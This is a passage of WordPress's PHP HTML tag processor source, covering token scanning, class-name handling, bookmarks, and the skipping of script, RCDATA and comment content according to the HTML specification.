	 *     // sourced from the lazily-parsed HTML recognizer.
	 *     $start  = $attributes['src']->start;
	 *     $length = $attributes['src']->length;
	 *     $modifications[] = new WP_HTML_Text_Replacement( $start, $length, $new_value );
	 *
	 *     // Correspondingly, something like this will appear in this array.
	 *     $lexical_updates = array(
	 *         WP_HTML_Text_Replacement( 14, 28, 'https://my-site.my-domain/wp-content/uploads/2014/08/kittens.jpg' )
	 *     );
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Text_Replacement[]
	 */
	protected $lexical_updates = array();

	/**
	 * Tracks and limits `seek()` calls to prevent accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	protected $seek_count = 0;

	/**
	 * Whether the parser should skip over an immediately-following linefeed
	 * character, as is the case with LISTING, PRE, and TEXTAREA.
	 *
	 * > If the next token is a U+000A LINE FEED (LF) character token, then
	 * > ignore that token and move on to the next one. (Newlines at the start
	 * > of [these] elements are ignored as an authoring convenience.)
	 *
	 * @since 6.7.0
	 *
	 * @var int|null
	 */
	private $skip_newline_at = null;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param string $html HTML to process.
	 */
	public function __construct( $html ) {
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			$html = '';
		}
		$this->html = $html;
	}

	/**
	 * Switches parsing mode into a new namespace, such as when
	 * encountering an SVG tag and entering foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @param string $new_namespace One of 'html', 'svg', or 'math' indicating into what
	 *                              namespace the next tokens will be processed.
	 * @return bool Whether the namespace was valid and changed.
	 */
	public function change_parsing_namespace( string $new_namespace ): bool {
		if ( ! in_array( $new_namespace, array( 'html', 'math', 'svg' ), true ) ) {
			return false;
		}

		$this->parsing_namespace = $new_namespace;
		return true;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 No longer processes incomplete tokens at end of document; pauses the processor at start of token.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string|null $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$this->parse_query( $query );
		$already_found = 0;

		do {
			if ( false === $this->next_token() ) {
				return false;
			}

			if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
				continue;
			}

			if ( $this->matches() ) {
				++$already_found;
			}
		} while ( $already_found < $this->sought_match_offset );

		return true;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * An HTML document can be viewed as a stream of tokens,
	 * where tokens are things like HTML tags, HTML comments,
	 * text nodes, etc. This method finds the next token in
	 * the HTML document and returns whether it found one.
	 *
	 * If it starts parsing a token and reaches the end of the
	 * document then it will seek to the start of the last
	 * token and pause, returning `false` to indicate that it
	 * failed to find a complete token.
	 *
	 * Possible token types, based on the HTML specification:
	 *
	 *  - an HTML tag, whether opening, closing, or void.
	 *  - a text node - the plaintext inside tags.
	 *  - an HTML comment.
	 *  - a DOCTYPE declaration.
	 *  - a processing instruction, e.g. `<?xml version="1.0" ?>`.
	 *
	 * The Tag Processor currently only supports the tag token.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Recognizes CDATA sections within foreign content.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->base_class_next_token();
	}

	/**
	 * Internal method which finds the next token in the HTML document.
	 *
	 * This method is a protected internal function which implements the logic for
	 * finding the next token in a document. It exists so that the parser can update
	 * its state without affecting the location of the cursor in the document and
	 * without triggering subclass methods for things like `next_token()`, e.g. when
	 * applying patches before searching for the next token.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether a token was parsed.
	 */
	private function base_class_next_token(): bool {
		$was_at = $this->bytes_already_parsed;
		$this->after_tag();

		// Don't proceed if there's nothing more to scan.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		/*
		 * The next step in the parsing loop determines the parsing state;
		 * clear it so that state doesn't linger from the previous step.
		 */
		$this->parser_state = self::STATE_READY;

		if ( $this->bytes_already_parsed >= strlen( $this->html ) ) {
			$this->parser_state = self::STATE_COMPLETE;
			return false;
		}

		// Find the next tag if it exists.
		if ( false === $this->parse_next_tag() ) {
			if ( self::STATE_INCOMPLETE_INPUT === $this->parser_state ) {
				$this->bytes_already_parsed = $was_at;
			}

			return false;
		}

		/*
		 * For legacy reasons the rest of this function handles tags and their
		 * attributes. If the processor has reached the end of the document
		 * or if it matched any other token then it should return here to avoid
		 * attempting to process tag-specific syntax.
		 */
		if (
			self::STATE_INCOMPLETE_INPUT !== $this->parser_state &&
			self::STATE_COMPLETE !== $this->parser_state &&
			self::STATE_MATCHED_TAG !== $this->parser_state
		) {
			return true;
		}

		// Parse all of its attributes.
		while ( $this->parse_next_attribute() ) {
			continue;
		}

		// Ensure that the tag closes before the end of the document.
		if (
			self::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			$this->bytes_already_parsed >= strlen( $this->html )
		) {
			// Does this appropriately clear state (parsed attributes)?
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}

		$tag_ends_at = strpos( $this->html, '>', $this->bytes_already_parsed );
		if ( false === $tag_ends_at ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}
		$this->parser_state         = self::STATE_MATCHED_TAG;
		$this->bytes_already_parsed = $tag_ends_at + 1;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;

		/*
		 * Certain tags require additional processing. The first-letter pre-check
		 * avoids unnecessary string allocation when comparing the tag names.
		 *
		 *  - IFRAME
		 *  - LISTING (deprecated)
		 *  - NOEMBED (deprecated)
		 *  - NOFRAMES (deprecated)
		 *  - PRE
		 *  - SCRIPT
		 *  - STYLE
		 *  - TEXTAREA
		 *  - TITLE
		 *  - XMP (deprecated)
		 */
		if (
			$this->is_closing_tag ||
			'html' !== $this->parsing_namespace ||
			1 !== strspn( $this->html, 'iIlLnNpPsStTxX', $this->tag_name_starts_at, 1 )
		) {
			return true;
		}

		$tag_name = $this->get_tag();

		/*
		 * For LISTING, PRE, and TEXTAREA, the first linefeed of an immediately-following
		 * text node is ignored as an authoring convenience.
		 *
		 * @see static::skip_newline_at
		 */
		if ( 'LISTING' === $tag_name || 'PRE' === $tag_name ) {
			$this->skip_newline_at = $this->bytes_already_parsed;
			return true;
		}

		/*
		 * There are certain elements whose children are not DATA but are instead
		 * RCDATA or RAWTEXT. These cannot contain other elements, and the contents
		 * are parsed as plaintext, with character references decoded in RCDATA but
		 * not in RAWTEXT.
		 *
		 * These elements are described here as "self-contained" or special atomic
		 * elements whose end tag is consumed with the opening tag, and they will
		 * contain modifiable text inside of them.
		 *
		 * Preserve the opening tag pointers, as these will be overwritten
		 * when finding the closing tag. They will be reset after finding
		 * the closing to tag to point to the opening of the special atomic
		 * tag sequence.
		 */
		$tag_name_starts_at   = $this->tag_name_starts_at;
		$tag_name_length      = $this->tag_name_length;
		$tag_ends_at          = $this->token_starts_at + $this->token_length;
		$attributes           = $this->attributes;
		$duplicate_attributes = $this->duplicate_attributes;

		// Find the closing tag if necessary.
		switch ( $tag_name ) {
			case 'SCRIPT':
				$found_closer = $this->skip_script_data();
				break;

			case 'TEXTAREA':
			case 'TITLE':
				$found_closer = $this->skip_rcdata( $tag_name );
				break;

			/*
			 * In the browser this list would include the NOSCRIPT element,
			 * but the Tag Processor is an environment with the scripting
			 * flag disabled, meaning that it needs to descend into the
			 * NOSCRIPT element to be able to properly process what will be
			 * sent to a browser.
			 *
			 * Note that this rule makes HTML5 syntax incompatible with XML,
			 * because the parsing of this token depends on client application.
			 * The NOSCRIPT element cannot be represented in the XHTML syntax.
			 */
			case 'IFRAME':
			case 'NOEMBED':
			case 'NOFRAMES':
			case 'STYLE':
			case 'XMP':
				$found_closer = $this->skip_rawtext( $tag_name );
				break;

			// No other tags should be treated in their entirety here.
			default:
				return true;
		}

		if ( ! $found_closer ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;
			return false;
		}

		/*
		 * The values here look like they reference the opening tag but they reference
		 * the closing tag instead. This is why the opening tag values were stored
		 * above in a variable. It reads confusingly here, but that's because the
		 * functions that skip the contents have moved all the internal cursors past
		 * the inner content of the tag.
		 */
		$this->token_starts_at      = $was_at;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;
		$this->text_starts_at       = $tag_ends_at;
		$this->text_length          = $this->tag_name_starts_at - $this->text_starts_at;
		$this->tag_name_starts_at   = $tag_name_starts_at;
		$this->tag_name_length      = $tag_name_length;
		$this->attributes           = $attributes;
		$this->duplicate_attributes = $duplicate_attributes;

		return true;
	}

	/**
	 * Whether the processor paused because the input HTML document ended
	 * in the middle of a syntax element, such as in the middle of a tag.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<input type="text" value="Th' );
	 *     false      === $processor->get_next_tag();
	 *     true       === $processor->paused_at_incomplete_token();
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the parse paused at the start of an incomplete token.
	 */
	public function paused_at_incomplete_token(): bool {
		return self::STATE_INCOMPLETE_INPUT === $this->parser_state;
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.4.0
	 */
	public function class_list() {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return;
		}

		/** @var string $class contains the string value of the class attribute, with character references decoded. */
		$class = $this->get_attribute( 'class' );

		if ( ! is_string( $class ) ) {
			return;
		}

		$seen = array();

		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;

		$at = 0;
		while ( $at < strlen( $class ) ) {
			// Skip past any initial boundary characters.
			$at += strspn( $class, " \t\f\r\n", $at );
			if ( $at >= strlen( $class ) ) {
				return;
			}

			// Find the byte length until the next boundary.
			$length = strcspn( $class, " \t\f\r\n", $at );
			if ( 0 === $length ) {
				return;
			}

			$name = str_replace( "\x00", "\u{FFFD}", substr( $class, $at, $length ) );
			if ( $is_quirks ) {
				$name = strtolower( $name );
			}
			$at += $length;

			/*
			 * It's expected that the number of class names for a given tag is relatively small.
			 * Given this, it is probably faster overall to scan an array for a value rather
			 * than to use the class name as a key and check if it's a key of $seen.
			 */
			if ( in_array( $name, $seen, true ) ) {
				continue;
			}

			$seen[] = $name;
			yield $name;
		}
	}


	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.4.0
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$case_insensitive = self::QUIRKS_MODE === $this->compat_mode;

		$wanted_length = strlen( $wanted_class );
		foreach ( $this->class_list() as $class_name ) {
			if (
				strlen( $class_name ) === $wanted_length &&
				0 === substr_compare( $class_name, $wanted_class, 0, strlen( $wanted_class ), $case_insensitive )
			) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $name ): bool {
		// It only makes sense to set a bookmark if the parser has paused on a concrete token.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		if ( ! array_key_exists( $name, $this->bookmarks ) && count( $this->bookmarks ) >= static::MAX_BOOKMARKS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many bookmarks: cannot create any more.' ),
				'6.2.0'
			);
			return false;
		}

		$this->bookmarks[ $name ] = new WP_HTML_Span( $this->token_starts_at, $this->token_length );

		return true;
	}


	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @param string $name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $name ): bool {
		if ( ! array_key_exists( $name, $this->bookmarks ) ) {
			return false;
		}

		unset( $this->bookmarks[ $name ] );

		return true;
	}

	/**
	 * Skips contents of generic rawtext elements.
	 *
	 * @since 6.3.2
	 *
	 * @see https://html.spec.whatwg.org/#generic-raw-text-element-parsing-algorithm
	 *
	 * @param string $tag_name The uppercase tag name which will close the RAWTEXT region.
	 * @return bool Whether an end to the RAWTEXT region was found before the end of the document.
	 */
	private function skip_rawtext( string $tag_name ): bool {
		/*
		 * These two functions distinguish themselves on whether character references are
		 * decoded, and since functionality to read the inner markup isn't supported, it's
		 * not necessary to implement these two functions separately.
		 */
		return $this->skip_rcdata( $tag_name );
	}

	/**
	 * Skips contents of RCDATA elements, namely title and textarea tags.
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#rcdata-state
	 *
	 * @param string $tag_name The uppercase tag name which will close the RCDATA region.
	 * @return bool Whether an end to the RCDATA region was found before the end of the document.
	 */
	private function skip_rcdata( string $tag_name ): bool {
		$html       = $this->html;
		$doc_length = strlen( $html );
		$tag_length = strlen( $tag_name );

		$at = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at                       = strpos( $this->html, '</', $at );
			$this->tag_name_starts_at = $at;

			// Fail if there is no possible tag closer.
			if ( false === $at || ( $at + $tag_length ) >= $doc_length ) {
				return false;
			}

			$at += 2;

			/*
			 * Find a case-insensitive match to the tag name.
			 *
			 * Because tag names are limited to US-ASCII there is no
			 * need to perform any kind of Unicode normalization when
			 * comparing; any character which could be impacted by such
			 * normalization could not be part of a tag name.
			 */
			for ( $i = 0; $i < $tag_length; $i++ ) {
				$tag_char  = $tag_name[ $i ];
				$html_char = $html[ $at + $i ];

				if ( $html_char !== $tag_char && strtoupper( $html_char ) !== $tag_char ) {
					$at += $i;
					continue 2;
				}
			}

			$at                        += $tag_length;
			$this->bytes_already_parsed = $at;

			if ( $at >= strlen( $html ) ) {
				return false;
			}

			/*
			 * Ensure that the tag name terminates to avoid matching on
			 * substrings of a longer tag name. For example, the sequence
			 * "</textarearug" should not match for "</textarea" even
			 * though "textarea" is found within the text.
			 */
			$c = $html[ $at ];
			if ( ' ' !== $c && "\t" !== $c && "\r" !== $c && "\n" !== $c && '/' !== $c && '>' !== $c ) {
				continue;
			}

			while ( $this->parse_next_attribute() ) {
				continue;
			}

			$at = $this->bytes_already_parsed;
			if ( $at >= strlen( $this->html ) ) {
				return false;
			}

			if ( '>' === $html[ $at ] ) {
				$this->bytes_already_parsed = $at + 1;
				return true;
			}

			if ( $at + 1 >= strlen( $this->html ) ) {
				return false;
			}

			if ( '/' === $html[ $at ] && '>' === $html[ $at + 1 ] ) {
				$this->bytes_already_parsed = $at + 2;
				return true;
			}
		}

		return false;
	}

	/**
	 * Skips contents of script tags.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the script tag was closed before the end of the document.
	 */
	private function skip_script_data(): bool {
		$state      = 'unescaped';
		$html       = $this->html;
		$doc_length = strlen( $html );
		$at         = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at += strcspn( $html, '-<', $at );

			/*
			 * Optimization: Terminating a complete script element requires at least eight
			 * additional bytes in the document. Some checks below may cause local escaped
			 * state transitions when processing shorter strings, but those transitions are
			 * irrelevant if the script tag is incomplete and the function must return false.
			 *
			 * This may need updating if those transitions become significant or exported from
			 * this function in some way, such as when building safe methods to embed JavaScript
			 * or data inside a SCRIPT element.
			 *
			 *     $at may be here.
			 *        ↓
			 *     ...</script>
			 *         ╰──┬───╯
			 *     $at + 8 additional bytes are required for a non-false return value.
			 *
			 * This single check eliminates the need to check lengths for the shorter spans:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- --></script>
			 *                   ├╯
			 *             $at + 2 additional characters does not require a length check.
			 *
			 * The transition from "escaped" to "unescaped" is not relevant if the document ends:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- -->[[END-OF-DOCUMENT]]
			 *                   ╰──┬───╯
			 *             $at + 8 additional bytes is not satisfied, return false.
			 */
			if ( $at + 8 >= $doc_length ) {
				return false;
			}

			/*
			 * For all script states a "-->"  transitions
			 * back into the normal unescaped script mode,
			 * even if that's the current state.
			 */
			if (
				'-' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'>' === $html[ $at + 2 ]
			) {
				$at   += 3;
				$state = 'unescaped';
				continue;
			}

			/*
			 * Everything of interest past here starts with "<".
			 * Check this character and advance position regardless.
			 */
			if ( '<' !== $html[ $at++ ] ) {
				continue;
			}

			/*
			 * "<!--" only transitions from _unescaped_ to _escaped_. This byte sequence is only
			 * significant in the _unescaped_ state and is ignored in any other state.
			 */
			if (
				'unescaped' === $state &&
				'!' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'-' === $html[ $at + 2 ]
			) {
				$at += 3;

				/*
				 * The parser is ready to enter the _escaped_ state, but may remain in the
				 * _unescaped_ state. This occurs when "<!--" is immediately followed by a
				 * sequence of 0 or more "-" followed by ">". This is similar to abruptly closed
				 * HTML comments like "<!-->" or "<!--->".
				 *
				 * Note that this check may advance the position significantly and requires a
				 * length check to prevent bad offsets on inputs like `<script><!---------`.
				 */
				$at += strspn( $html, '-', $at );
				if ( $at < $doc_length && '>' === $html[ $at ] ) {
					++$at;
					continue;
				}

				$state = 'escaped';
				continue;
			}

			if ( '/' === $html[ $at ] ) {
				$closer_potentially_starts_at = $at - 1;
				$is_closing                   = true;
				++$at;
			} else {
				$is_closing = false;
			}

			/*
			 * At this point the only remaining state-changes occur with the
			 * <script> and </script> tags; unless one of these appears next,
			 * proceed scanning to the next potential token in the text.
			 */
			if ( ! (
				( 's' === $html[ $at ] || 'S' === $html[ $at ] ) &&
				( 'c' === $html[ $at + 1 ] || 'C' === $html[ $at + 1 ] ) &&
				( 'r' === $html[ $at + 2 ] || 'R' === $html[ $at + 2 ] ) &&
				( 'i' === $html[ $at + 3 ] || 'I' === $html[ $at + 3 ] ) &&
				( 'p' === $html[ $at + 4 ] || 'P' === $html[ $at + 4 ] ) &&
				( 't' === $html[ $at + 5 ] || 'T' === $html[ $at + 5 ] )
			) ) {
				++$at;
				continue;
			}

			/*
			 * Ensure that the script tag terminates to avoid matching on
			 * substrings of a non-match. For example, the sequence
			 * "<script123" should not end a script region even though
			 * "<script" is found within the text.
			 */
			$at += 6;
			$c   = $html[ $at ];
			if (
				/**
				 * These characters trigger state transitions of interest:
				 *
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-escaped-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-start-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-end-state}
				 *
				 * The "\r" character is not present in the above references. However, "\r" must be
				 * treated the same as "\n". This is because the HTML Standard requires newline
				 * normalization during preprocessing which applies this replacement.
				 *
				 * - @see https://html.spec.whatwg.org/multipage/parsing.html#preprocessing-the-input-stream
				 * - @see https://infra.spec.whatwg.org/#normalize-newlines
				 */
				'>' !== $c &&
				' ' !== $c &&
				"\n" !== $c &&
				'/' !== $c &&
				"\t" !== $c &&
				"\f" !== $c &&
				"\r" !== $c
			) {
				continue;
			}

			if ( 'escaped' === $state && ! $is_closing ) {
				$state = 'double-escaped';
				continue;
			}

			if ( 'double-escaped' === $state && $is_closing ) {
				$state = 'escaped';
				continue;
			}

			if ( $is_closing ) {
				$this->bytes_already_parsed = $closer_potentially_starts_at;
				$this->tag_name_starts_at   = $closer_potentially_starts_at;
				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				while ( $this->parse_next_attribute() ) {
					continue;
				}

				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				if ( '>' === $html[ $this->bytes_already_parsed ] ) {
					++$this->bytes_already_parsed;
					return true;
				}
			}

			++$at;
		}

		return false;
	}

	/**
	 * Parses the next tag.
	 *
	 * This will find and start parsing the next tag, including
	 * the opening `<`, the potential closer `/`, and the tag
	 * name. It does not parse the attributes or scan to the
	 * closing `>`; these are left for other methods.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Support abruptly-closed comments, invalid-tag-closer-comments, and empty elements.
	 *
	 * @return bool Whether a tag was found before the end of the document.
	 */
	private function parse_next_tag(): bool {
		$this->after_tag();

		$html       = $this->html;
		$doc_length = strlen( $html );
		$was_at     = $this->bytes_already_parsed;
		$at         = $was_at;

		while ( $at < $doc_length ) {
			$at = strpos( $html, '<', $at );
			if ( false === $at ) {
				break;
			}

			if ( $at > $was_at ) {
				/*
				 * A "<" normally starts a new HTML tag or syntax token, but in cases where the
				 * following character can't produce a valid token, the "<" is instead treated
				 * as plaintext and the parser should skip over it. This avoids a problem when
				 * following earlier practices of typing emoji with text, e.g. "<3". This
				 * should be a heart, not a tag. It's supposed to be rendered, not hidden.
				 *
				 * At this point the parser checks if this is one of those cases and if it is
				 * will continue searching for the next "<" in search of a token boundary.
				 *
				 * @see https://html.spec.whatwg.org/#tag-open-state
				 */
				if ( 1 !== strspn( $html, '!/?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1, 1 ) ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_TEXT_NODE;
				$this->token_starts_at      = $was_at;
				$this->token_length         = $at - $was_at;
				$this->text_starts_at       = $was_at;
				$this->text_length          = $this->token_length;
				$this->bytes_already_parsed = $at;
				return true;
			}

			$this->token_starts_at = $at;

			if ( $at + 1 < $doc_length && '/' === $this->html[ $at + 1 ] ) {
				$this->is_closing_tag = true;
				++$at;
			} else {
				$this->is_closing_tag = false;
			}

			/*
			 * HTML tag names must start with [a-zA-Z] otherwise they are not tags.
			 * For example, "<3" is rendered as text, not a tag opener. If at least
			 * one letter follows the "<" then _it is_ a tag, but if the following
			 * character is anything else it _is not a tag_.
			 *
			 * It's not uncommon to find non-tags starting with `<` in an HTML
			 * document, so it's good for performance to make this pre-check before
			 * continuing to attempt to parse a tag name.
			 *
			 * Reference:
			 * * https://html.spec.whatwg.org/multipage/parsing.html#data-state
			 * * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			$tag_name_prefix_length = strspn( $html, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1 );
			if ( $tag_name_prefix_length > 0 ) {
				++$at;
				$this->parser_state         = self::STATE_MATCHED_TAG;
				$this->tag_name_starts_at   = $at;
				$this->tag_name_length      = $tag_name_prefix_length + strcspn( $html, " \t\f\r\n/>", $at + $tag_name_prefix_length );
				$this->bytes_already_parsed = $at + $this->tag_name_length;
				return true;
			}

			/*
			 * Abort if no tag is found before the end of
			 * the document. There is nothing left to parse.
			 */
			if ( $at + 1 >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			/*
			 * `<!` transitions to markup declaration open state
			 * https://html.spec.whatwg.org/multipage/parsing.html#markup-declaration-open-state
			 */
			if ( ! $this->is_closing_tag && '!' === $html[ $at + 1 ] ) {
				/*
				 * `<!--` transitions to a comment state – apply further comment rules.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if ( 0 === substr_compare( $html, '--', $at + 2, 2 ) ) {
					$closer_at = $at + 4;
					// If it's not possible to close the comment then there is nothing more to scan.
					if ( $doc_length <= $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					// Abruptly-closed empty comments are a sequence of dashes followed by `>`.
					$span_of_dashes = strspn( $html, '-', $closer_at );
					if ( '>' === $html[ $closer_at + $span_of_dashes ] ) {
						/*
						 * @todo When implementing `set_modifiable_text()` ensure that updates to this token
						 *       don't break the syntax for short comments, e.g. `<!--->`. Unlike other comment
						 *       and bogus comment syntax, these leave no clear insertion point for text and
						 *       they need to be modified specially in order to contain text. E.g. to store
						 *       `?` as the modifiable text, the `<!--->` needs to become `<!--?-->`, which
						 *       involves inserting an additional `-` into the token after the modifiable text.
						 */
						$this->parser_state = self::STATE_COMMENT;
						$this->comment_type = self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT;
						$this->token_length = $closer_at + $span_of_dashes + 1 - $this->token_starts_at;

						// Only provide modifiable text if the token is long enough to contain it.
						if ( $span_of_dashes >= 2 ) {
							$this->comment_type   = self::COMMENT_AS_HTML_COMMENT;
							$this->text_starts_at = $this->token_starts_at + 4;
							$this->text_length    = $span_of_dashes - 2;
						}

						$this->bytes_already_parsed = $closer_at + $span_of_dashes + 1;
						return true;
					}

					/*
					 * Comments may be closed by either a --> or an invalid --!>.
					 * The first occurrence closes the comment.
					 *
					 * See https://html.spec.whatwg.org/#parse-error-incorrectly-closed-comment
					 */
					--$closer_at; // Pre-increment inside condition below reduces risk of accidental infinite looping.
					while ( ++$closer_at < $doc_length ) {
						$closer_at = strpos( $html, '--', $closer_at );
						if ( false === $closer_at ) {
							$this->parser_state = self::STATE_INCOMPLETE_INPUT;

							return false;
						}

						if ( $closer_at + 2 < $doc_length && '>' === $html[ $closer_at + 2 ] ) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 3 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 3;
							return true;
						}

						if (
							$closer_at + 3 < $doc_length &&
							'!' === $html[ $closer_at + 2 ] &&
							'>' === $html[ $closer_at + 3 ]
						) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 4 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 4;
							return true;
						}
					}
				}

				/*
				 * `<!DOCTYPE` transitions to DOCTYPE state – skip to the nearest >
				 * These are ASCII-case-insensitive.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if (
					$doc_length > $at + 8 &&
					( 'D' === $html[ $at + 2 ] || 'd' === $html[ $at + 2 ] ) &&
